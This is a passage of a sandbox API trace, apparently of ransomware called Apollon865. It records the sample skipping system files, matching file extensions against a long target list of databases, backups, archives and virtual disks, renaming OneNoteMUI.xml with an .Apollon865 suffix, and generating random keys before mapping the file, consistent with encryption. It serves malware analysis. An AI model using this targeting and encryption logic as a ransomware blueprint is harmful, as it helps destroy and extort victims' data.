	[0078.312] lstrcmpiW (lpString1="msi", lpString2="fm5") returned 1
	[0078.312] lstrlenW (lpString="fmp") returned 3
	[0078.312] lstrcmpiW (lpString1="msi", lpString2="fmp") returned 1
	[0078.312] lstrlenW (lpString="fmp12") returned 5
	[0078.312] lstrcmpiW (lpString1="I.msi", lpString2="fmp12") returned 1
	[0078.312] lstrlenW (lpString="fmpsl") returned 5
	[0078.312] lstrcmpiW (lpString1="I.msi", lpString2="fmpsl") returned 1
	[0078.312] lstrlenW (lpString="fol") returned 3
	[0078.312] lstrcmpiW (lpString1="msi", lpString2="fol") returned 1
	[0078.312] lstrlenW (lpString="fp3") returned 3
	[0078.312] lstrcmpiW (lpString1="msi", lpString2="fp3") returned 1
	[0078.312] lstrlenW (lpString="fp4") returned 3
	[0078.312] lstrcmpiW (lpString1="msi", lpString2="fp4") returned 1
	[0078.312] lstrlenW (lpString="fp5") returned 3
	[0078.312] lstrcmpiW (lpString1="msi", lpString2="fp5") returned 1
	[0078.312] lstrlenW (lpString="fp7") returned 3
	[0078.312] lstrcmpiW (lpString1="msi", lpString2="fp7") returned 1
	[0078.312] lstrlenW (lpString="fpt") returned 3
	[0078.312] lstrcmpiW (lpString1="msi", lpString2="fpt") returned 1
	[0078.312] lstrlenW (lpString="frm") returned 3
	[0078.312] lstrcmpiW (lpString1="msi", lpString2="frm") returned 1
	[0078.312] lstrlenW (lpString="gdb") returned 3
	[0078.312] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1
	[0078.312] lstrlenW (lpString="gdb") returned 3
	[0078.312] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1
	[0078.312] lstrlenW (lpString="grdb") returned 4
	[0078.312] lstrcmpiW (lpString1=".msi", lpString2="grdb") returned -1
	[0078.312] lstrlenW (lpString="gwi") returned 3
	[0078.312] lstrcmpiW (lpString1="msi", lpString2="gwi") returned 1
	[0078.313] lstrlenW (lpString="hdb") returned 3
	[0078.313] lstrcmpiW (lpString1="msi", lpString2="hdb") returned 1
	[0078.313] lstrlenW (lpString="his") returned 3
	[0078.313] lstrcmpiW (lpString1="msi", lpString2="his") returned 1
	[0078.313] lstrlenW (lpString="ib") returned 2
	[0078.313] lstrcmpiW (lpString1="si", lpString2="ib") returned 1
	[0078.313] lstrlenW (lpString="idb") returned 3
	[0078.313] lstrcmpiW (lpString1="msi", lpString2="idb") returned 1
	[0078.313] lstrlenW (lpString="ihx") returned 3
	[0078.313] lstrcmpiW (lpString1="msi", lpString2="ihx") returned 1
	[0078.313] lstrlenW (lpString="itdb") returned 4
	[0078.313] lstrcmpiW (lpString1=".msi", lpString2="itdb") returned -1
	[0078.313] lstrlenW (lpString="itw") returned 3
	[0078.313] lstrcmpiW (lpString1="msi", lpString2="itw") returned 1
	[0078.313] lstrlenW (lpString="jet") returned 3
	[0078.313] lstrcmpiW (lpString1="msi", lpString2="jet") returned 1
	[0078.313] lstrlenW (lpString="jtx") returned 3
	[0078.313] lstrcmpiW (lpString1="msi", lpString2="jtx") returned 1
	[0078.313] lstrlenW (lpString="kdb") returned 3
	[0078.313] lstrcmpiW (lpString1="msi", lpString2="kdb") returned 1
	[0078.313] lstrlenW (lpString="kexi") returned 4
	[0078.313] lstrcmpiW (lpString1=".msi", lpString2="kexi") returned -1
	[0078.313] lstrlenW (lpString="kexic") returned 5
	[0078.313] lstrcmpiW (lpString1="I.msi", lpString2="kexic") returned -1
	[0078.313] lstrlenW (lpString="kexis") returned 5
	[0078.313] lstrcmpiW (lpString1="I.msi", lpString2="kexis") returned -1
	[0078.313] lstrlenW (lpString="lgc") returned 3
	[0078.313] lstrcmpiW (lpString1="msi", lpString2="lgc") returned 1
	[0078.313] lstrlenW (lpString="lwx") returned 3
	[0078.313] lstrcmpiW (lpString1="msi", lpString2="lwx") returned 1
	[0078.313] lstrlenW (lpString="maf") returned 3
	[0078.313] lstrcmpiW (lpString1="msi", lpString2="maf") returned 1
	[0078.313] lstrlenW (lpString="maq") returned 3
	[0078.313] lstrcmpiW (lpString1="msi", lpString2="maq") returned 1
	[0078.313] lstrlenW (lpString="mar") returned 3
	[0078.313] lstrcmpiW (lpString1="msi", lpString2="mar") returned 1
	[0078.314] lstrlenW (lpString="marshal") returned 7
	[0078.314] lstrcmpiW (lpString1="MUI.msi", lpString2="marshal") returned 1
	[0078.314] lstrlenW (lpString="mas") returned 3
	[0078.314] lstrcmpiW (lpString1="msi", lpString2="mas") returned 1
	[0078.314] lstrlenW (lpString="mav") returned 3
	[0078.314] lstrcmpiW (lpString1="msi", lpString2="mav") returned 1
	[0078.314] lstrlenW (lpString="maw") returned 3
	[0078.314] lstrcmpiW (lpString1="msi", lpString2="maw") returned 1
	[0078.314] lstrlenW (lpString="mdbhtml") returned 7
	[0078.314] lstrcmpiW (lpString1="MUI.msi", lpString2="mdbhtml") returned 1
	[0078.314] lstrlenW (lpString="mdn") returned 3
	[0078.314] lstrcmpiW (lpString1="msi", lpString2="mdn") returned 1
	[0078.314] lstrlenW (lpString="mdt") returned 3
	[0078.314] lstrcmpiW (lpString1="msi", lpString2="mdt") returned 1
	[0078.314] lstrlenW (lpString="mfd") returned 3
	[0078.314] lstrcmpiW (lpString1="msi", lpString2="mfd") returned 1
	[0078.314] lstrlenW (lpString="mpd") returned 3
	[0078.314] lstrcmpiW (lpString1="msi", lpString2="mpd") returned 1
	[0078.314] lstrlenW (lpString="mrg") returned 3
	[0078.314] lstrcmpiW (lpString1="msi", lpString2="mrg") returned 1
	[0078.314] lstrlenW (lpString="mud") returned 3
	[0078.314] lstrcmpiW (lpString1="msi", lpString2="mud") returned -1
	[0078.314] lstrlenW (lpString="mwb") returned 3
	[0078.314] lstrcmpiW (lpString1="msi", lpString2="mwb") returned -1
	[0078.314] lstrlenW (lpString="myd") returned 3
	[0078.314] lstrcmpiW (lpString1="msi", lpString2="myd") returned -1
	[0078.314] lstrlenW (lpString="ndf") returned 3
	[0078.314] lstrcmpiW (lpString1="msi", lpString2="ndf") returned -1
	[0078.314] lstrlenW (lpString="nnt") returned 3
	[0078.314] lstrcmpiW (lpString1="msi", lpString2="nnt") returned -1
	[0078.314] lstrlenW (lpString="nrmlib") returned 6
	[0078.314] lstrcmpiW (lpString1="UI.msi", lpString2="nrmlib") returned 1
	[0078.314] lstrlenW (lpString="ns2") returned 3
	[0078.314] lstrcmpiW (lpString1="msi", lpString2="ns2") returned -1
	[0078.314] lstrlenW (lpString="ns3") returned 3
	[0078.314] lstrcmpiW (lpString1="msi", lpString2="ns3") returned -1
	[0078.314] lstrlenW (lpString="ns4") returned 3
	[0078.315] lstrcmpiW (lpString1="msi", lpString2="ns4") returned -1
	[0078.315] lstrlenW (lpString="nsf") returned 3
	[0078.315] lstrcmpiW (lpString1="msi", lpString2="nsf") returned -1
	[0078.315] lstrlenW (lpString="nv") returned 2
	[0078.315] lstrcmpiW (lpString1="si", lpString2="nv") returned 1
	[0078.315] lstrlenW (lpString="nv2") returned 3
	[0078.315] lstrcmpiW (lpString1="msi", lpString2="nv2") returned -1
	[0078.315] lstrlenW (lpString="nwdb") returned 4
	[0078.315] lstrcmpiW (lpString1=".msi", lpString2="nwdb") returned -1
	[0078.315] lstrlenW (lpString="nyf") returned 3
	[0078.315] lstrcmpiW (lpString1="msi", lpString2="nyf") returned -1
	[0078.315] lstrlenW (lpString="odb") returned 3
	[0078.315] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1
	[0078.315] lstrlenW (lpString="odb") returned 3
	[0078.315] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1
	[0078.315] lstrlenW (lpString="oqy") returned 3
	[0078.315] lstrcmpiW (lpString1="msi", lpString2="oqy") returned -1
	[0078.315] lstrlenW (lpString="ora") returned 3
	[0078.315] lstrcmpiW (lpString1="msi", lpString2="ora") returned -1
	[0078.315] lstrlenW (lpString="orx") returned 3
	[0078.315] lstrcmpiW (lpString1="msi", lpString2="orx") returned -1
	[0078.315] lstrlenW (lpString="owc") returned 3
	[0078.315] lstrcmpiW (lpString1="msi", lpString2="owc") returned -1
	[0078.315] lstrlenW (lpString="p96") returned 3
	[0078.315] lstrcmpiW (lpString1="msi", lpString2="p96") returned -1
	[0078.315] lstrlenW (lpString="p97") returned 3
	[0078.315] lstrcmpiW (lpString1="msi", lpString2="p97") returned -1
	[0078.315] lstrlenW (lpString="pan") returned 3
	[0078.315] lstrcmpiW (lpString1="msi", lpString2="pan") returned -1
	[0078.315] lstrlenW (lpString="pdb") returned 3
	[0078.315] lstrcmpiW (lpString1="msi", lpString2="pdb") returned -1
	[0078.315] lstrlenW (lpString="pdm") returned 3
	[0078.315] lstrcmpiW (lpString1="msi", lpString2="pdm") returned -1
	[0078.315] lstrlenW (lpString="pnz") returned 3
	[0078.315] lstrcmpiW (lpString1="msi", lpString2="pnz") returned -1
	[0078.315] lstrlenW (lpString="qry") returned 3
	[0078.315] lstrcmpiW (lpString1="msi", lpString2="qry") returned -1
	[0078.315] lstrlenW (lpString="qvd") returned 3
	[0078.316] lstrcmpiW (lpString1="msi", lpString2="qvd") returned -1
	[0078.316] lstrlenW (lpString="rbf") returned 3
	[0078.316] lstrcmpiW (lpString1="msi", lpString2="rbf") returned -1
	[0078.316] lstrlenW (lpString="rctd") returned 4
	[0078.316] lstrcmpiW (lpString1=".msi", lpString2="rctd") returned -1
	[0078.316] lstrlenW (lpString="rod") returned 3
	[0078.316] lstrcmpiW (lpString1="msi", lpString2="rod") returned -1
	[0078.316] lstrlenW (lpString="rodx") returned 4
	[0078.316] lstrcmpiW (lpString1=".msi", lpString2="rodx") returned -1
	[0078.316] lstrlenW (lpString="rpd") returned 3
	[0078.316] lstrcmpiW (lpString1="msi", lpString2="rpd") returned -1
	[0078.316] lstrlenW (lpString="rsd") returned 3
	[0078.316] lstrcmpiW (lpString1="msi", lpString2="rsd") returned -1
	[0078.316] lstrlenW (lpString="sas7bdat") returned 8
	[0078.316] lstrcmpiW (lpString1="eMUI.msi", lpString2="sas7bdat") returned -1
	[0078.316] lstrlenW (lpString="sbf") returned 3
	[0078.316] lstrcmpiW (lpString1="msi", lpString2="sbf") returned -1
	[0078.316] lstrlenW (lpString="scx") returned 3
	[0078.316] lstrcmpiW (lpString1="msi", lpString2="scx") returned -1
	[0078.316] lstrlenW (lpString="sdb") returned 3
	[0078.316] lstrcmpiW (lpString1="msi", lpString2="sdb") returned -1
	[0078.316] lstrlenW (lpString="sdc") returned 3
	[0078.316] lstrcmpiW (lpString1="msi", lpString2="sdc") returned -1
	[0078.316] lstrlenW (lpString="sdf") returned 3
	[0078.316] lstrcmpiW (lpString1="msi", lpString2="sdf") returned -1
	[0078.316] lstrlenW (lpString="sis") returned 3
	[0078.316] lstrcmpiW (lpString1="msi", lpString2="sis") returned -1
	[0078.316] lstrlenW (lpString="spq") returned 3
	[0078.316] lstrcmpiW (lpString1="msi", lpString2="spq") returned -1
	[0078.316] lstrlenW (lpString="te") returned 2
	[0078.316] lstrcmpiW (lpString1="si", lpString2="te") returned -1
	[0078.316] lstrlenW (lpString="teacher") returned 7
	[0078.316] lstrcmpiW (lpString1="MUI.msi", lpString2="teacher") returned -1
	[0078.316] lstrlenW (lpString="tmd") returned 3
	[0078.316] lstrcmpiW (lpString1="msi", lpString2="tmd") returned -1
	[0078.316] lstrlenW (lpString="tps") returned 3
	[0078.316] lstrcmpiW (lpString1="msi", lpString2="tps") returned -1
	[0078.316] lstrlenW (lpString="trc") returned 3
	[0078.316] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1
	[0078.317] lstrlenW (lpString="trc") returned 3
	[0078.317] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1
	[0078.317] lstrlenW (lpString="trm") returned 3
	[0078.317] lstrcmpiW (lpString1="msi", lpString2="trm") returned -1
	[0078.317] lstrlenW (lpString="udb") returned 3
	[0078.317] lstrcmpiW (lpString1="msi", lpString2="udb") returned -1
	[0078.317] lstrlenW (lpString="udl") returned 3
	[0078.317] lstrcmpiW (lpString1="msi", lpString2="udl") returned -1
	[0078.317] lstrlenW (lpString="usr") returned 3
	[0078.317] lstrcmpiW (lpString1="msi", lpString2="usr") returned -1
	[0078.317] lstrlenW (lpString="v12") returned 3
	[0078.317] lstrcmpiW (lpString1="msi", lpString2="v12") returned -1
	[0078.317] lstrlenW (lpString="vis") returned 3
	[0078.317] lstrcmpiW (lpString1="msi", lpString2="vis") returned -1
	[0078.317] lstrlenW (lpString="vpd") returned 3
	[0078.317] lstrcmpiW (lpString1="msi", lpString2="vpd") returned -1
	[0078.317] lstrlenW (lpString="vvv") returned 3
	[0078.317] lstrcmpiW (lpString1="msi", lpString2="vvv") returned -1
	[0078.317] lstrlenW (lpString="wdb") returned 3
	[0078.317] lstrcmpiW (lpString1="msi", lpString2="wdb") returned -1
	[0078.317] lstrlenW (lpString="wmdb") returned 4
	[0078.317] lstrcmpiW (lpString1=".msi", lpString2="wmdb") returned -1
	[0078.317] lstrlenW (lpString="wrk") returned 3
	[0078.317] lstrcmpiW (lpString1="msi", lpString2="wrk") returned -1
	[0078.317] lstrlenW (lpString="xdb") returned 3
	[0078.317] lstrcmpiW (lpString1="msi", lpString2="xdb") returned -1
	[0078.317] lstrlenW (lpString="xld") returned 3
	[0078.317] lstrcmpiW (lpString1="msi", lpString2="xld") returned -1
	[0078.317] lstrlenW (lpString="xmlff") returned 5
	[0078.317] lstrcmpiW (lpString1="I.msi", lpString2="xmlff") returned -1
	[0078.317] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OneNoteMUI.xml", cAlternateFileName="ONENOT~1.XML")) returned 1
	[0078.317] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.317] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2="Apollon865.txt.exe") returned 1
	[0078.317] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2=".") returned 1
	[0078.317] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2="..") returned 1
	[0078.317] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2="windows") returned -1
	[0078.317] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2="bootmgr") returned 1
	[0078.318] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2="temp") returned -1
	[0078.318] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2="pagefile.sys") returned -1
	[0078.318] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2="boot") returned 1
	[0078.318] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2="ids.txt") returned 1
	[0078.318] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2="ntuser.dat") returned 1
	[0078.318] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2="perflogs") returned -1
	[0078.318] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2="MSBuild") returned 1
	[0078.318] lstrlenW (lpString="OneNoteMUI.xml") returned 14
	[0078.318] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77
	[0078.318] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="OneNoteMUI.xml" | out: lpString1="OneNoteMUI.xml") returned="OneNoteMUI.xml"
	[0078.318] lstrlenW (lpString="OneNoteMUI.xml") returned 14
	[0078.318] lstrlenW (lpString="Apollon865") returned 10
	[0078.318] lstrcmpiW (lpString1="oteMUI.xml", lpString2="Apollon865") returned 1
	[0078.318] lstrlenW (lpString=".dll") returned 4
	[0078.318] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2=".dll") returned 1
	[0078.318] lstrlenW (lpString=".lnk") returned 4
	[0078.318] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2=".lnk") returned 1
	[0078.318] lstrlenW (lpString=".ini") returned 4
	[0078.318] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2=".ini") returned 1
	[0078.318] lstrlenW (lpString=".sys") returned 4
	[0078.318] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2=".sys") returned 1
	[0078.318] lstrlenW (lpString="OneNoteMUI.xml") returned 14
	[0078.318] lstrlenW (lpString="bak") returned 3
	[0078.318] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0078.318] lstrlenW (lpString="ba_") returned 3
	[0078.318] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0078.318] lstrlenW (lpString="dbb") returned 3
	[0078.318] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0078.318] lstrlenW (lpString="vmdk") returned 4
	[0078.318] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0078.318] lstrlenW (lpString="rar") returned 3
	[0078.318] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0078.318] lstrlenW (lpString="zip") returned 3
	[0078.318] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0078.318] lstrlenW (lpString="tgz") returned 3
	[0078.318] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0078.318] lstrlenW (lpString="vbox") returned 4
	[0078.318] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0078.319] lstrlenW (lpString="vdi") returned 3
	[0078.319] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0078.319] lstrlenW (lpString="vhd") returned 3
	[0078.319] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0078.319] lstrlenW (lpString="vhdx") returned 4
	[0078.319] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0078.319] lstrlenW (lpString="avhd") returned 4
	[0078.319] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0078.319] lstrlenW (lpString="db") returned 2
	[0078.319] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0078.319] lstrlenW (lpString="db2") returned 3
	[0078.319] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0078.319] lstrlenW (lpString="db3") returned 3
	[0078.319] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0078.319] lstrlenW (lpString="dbf") returned 3
	[0078.319] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0078.319] lstrlenW (lpString="mdf") returned 3
	[0078.319] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0078.319] lstrlenW (lpString="mdb") returned 3
	[0078.319] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0078.319] lstrlenW (lpString="sql") returned 3
	[0078.319] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0078.319] lstrlenW (lpString="sqlite") returned 6
	[0078.319] lstrcmpiW (lpString1="UI.xml", lpString2="sqlite") returned 1
	[0078.319] lstrlenW (lpString="sqlite3") returned 7
	[0078.319] lstrcmpiW (lpString1="MUI.xml", lpString2="sqlite3") returned -1
	[0078.319] lstrlenW (lpString="sqlitedb") returned 8
	[0078.319] lstrcmpiW (lpString1="eMUI.xml", lpString2="sqlitedb") returned -1
	[0078.319] lstrlenW (lpString="xml") returned 3
	[0078.319] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0078.319] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.Apollon865") returned 88
	[0078.319] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.apollon865"), dwFlags=0x1) returned 1
	[0078.320] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x10c
	[0078.320] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1606) returned 1
	[0078.320] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0078.321] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0078.321] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bfab8
	[0078.321] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bfbc8) returned 1
	[0078.322] CryptGenRandom (in: hProv=0x5bfbc8, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0078.322] CryptReleaseContext (hProv=0x5bfbc8, dwFlags=0x0) returned 1
	[0078.322] CreateFileMappingW (hFile=0x10c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x950, lpName=0x0) returned 0xc0
	[0078.323] MapViewOfFile (hFileMappingObject=0xc0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x950) returned 0x120000
	[0078.338] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bfb40) returned 1
	[0078.338] CryptGenRandom (in: hProv=0x5bfb40, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0078.338] CryptReleaseContext (hProv=0x5bfb40, dwFlags=0x0) returned 1
	[0078.338] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0078.339] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0078.339] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0078.339] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0078.339] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0078.339] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0078.339] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0078.339] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0078.339] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0078.339] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0078.339] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0078.339] CloseHandle (hObject=0xc0) returned 1
	[0078.339] CloseHandle (hObject=0x10c) returned 1
	[0078.339] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0078.339] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfab8 | out: hHeap=0x580000) returned 1
	[0078.339] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3390020 | out: hHeap=0x580000) returned 1
	[0078.340] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36db9d00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x36db9d00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5e95540, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10a5df8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OnoteLR.cab", cAlternateFileName="")) returned 1
	[0078.340] lstrcmpiW (lpString1="OnoteLR.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.340] lstrcmpiW (lpString1="OnoteLR.cab", lpString2="Apollon865.txt.exe") returned 1
	[0078.340] lstrcmpiW (lpString1="OnoteLR.cab", lpString2=".") returned 1
	[0078.340] lstrcmpiW (lpString1="OnoteLR.cab", lpString2="..") returned 1
	[0078.340] lstrcmpiW (lpString1="OnoteLR.cab", lpString2="windows") returned -1
	[0078.340] lstrcmpiW (lpString1="OnoteLR.cab", lpString2="bootmgr") returned 1
	[0078.340] lstrcmpiW (lpString1="OnoteLR.cab", lpString2="temp") returned -1
	[0078.340] lstrcmpiW (lpString1="OnoteLR.cab", lpString2="pagefile.sys") returned -1
	[0078.340] lstrcmpiW (lpString1="OnoteLR.cab", lpString2="boot") returned 1
	[0078.340] lstrcmpiW (lpString1="OnoteLR.cab", lpString2="ids.txt") returned 1
	[0078.340] lstrcmpiW (lpString1="OnoteLR.cab", lpString2="ntuser.dat") returned 1
	[0078.340] lstrcmpiW (lpString1="OnoteLR.cab", lpString2="perflogs") returned -1
	[0078.340] lstrcmpiW (lpString1="OnoteLR.cab", lpString2="MSBuild") returned 1
	[0078.340] lstrlenW (lpString="OnoteLR.cab") returned 11
	[0078.340] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77
	[0078.340] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="OnoteLR.cab" | out: lpString1="OnoteLR.cab") returned="OnoteLR.cab"
	[0078.340] lstrlenW (lpString="OnoteLR.cab") returned 11
	[0078.340] lstrlenW (lpString="Apollon865") returned 10
	[0078.340] lstrcmpiW (lpString1="noteLR.cab", lpString2="Apollon865") returned 1
	[0078.340] lstrlenW (lpString=".dll") returned 4
	[0078.340] lstrcmpiW (lpString1="OnoteLR.cab", lpString2=".dll") returned 1
	[0078.340] lstrlenW (lpString=".lnk") returned 4
	[0078.340] lstrcmpiW (lpString1="OnoteLR.cab", lpString2=".lnk") returned 1
	[0078.340] lstrlenW (lpString=".ini") returned 4
	[0078.340] lstrcmpiW (lpString1="OnoteLR.cab", lpString2=".ini") returned 1
	[0078.340] lstrlenW (lpString=".sys") returned 4
	[0078.340] lstrcmpiW (lpString1="OnoteLR.cab", lpString2=".sys") returned 1
	[0078.340] lstrlenW (lpString="OnoteLR.cab") returned 11
	[0078.340] lstrlenW (lpString="bak") returned 3
	[0078.340] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1
	[0078.340] lstrlenW (lpString="ba_") returned 3
	[0078.340] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1
	[0078.340] lstrlenW (lpString="dbb") returned 3
	[0078.340] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1
	[0078.341] lstrlenW (lpString="vmdk") returned 4
	[0078.341] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1
	[0078.341] lstrlenW (lpString="rar") returned 3
	[0078.341] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1
	[0078.341] lstrlenW (lpString="zip") returned 3
	[0078.341] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1
	[0078.341] lstrlenW (lpString="tgz") returned 3
	[0078.341] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1
	[0078.341] lstrlenW (lpString="vbox") returned 4
	[0078.341] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1
	[0078.341] lstrlenW (lpString="vdi") returned 3
	[0078.341] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1
	[0078.341] lstrlenW (lpString="vhd") returned 3
	[0078.341] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1
	[0078.341] lstrlenW (lpString="vhdx") returned 4
	[0078.341] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1
	[0078.341] lstrlenW (lpString="avhd") returned 4
	[0078.341] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1
	[0078.341] lstrlenW (lpString="db") returned 2
	[0078.341] lstrcmpiW (lpString1="ab", lpString2="db") returned -1
	[0078.341] lstrlenW (lpString="db2") returned 3
	[0078.341] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1
	[0078.341] lstrlenW (lpString="db3") returned 3
	[0078.341] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1
	[0078.341] lstrlenW (lpString="dbf") returned 3
	[0078.341] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1
	[0078.341] lstrlenW (lpString="mdf") returned 3
	[0078.341] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1
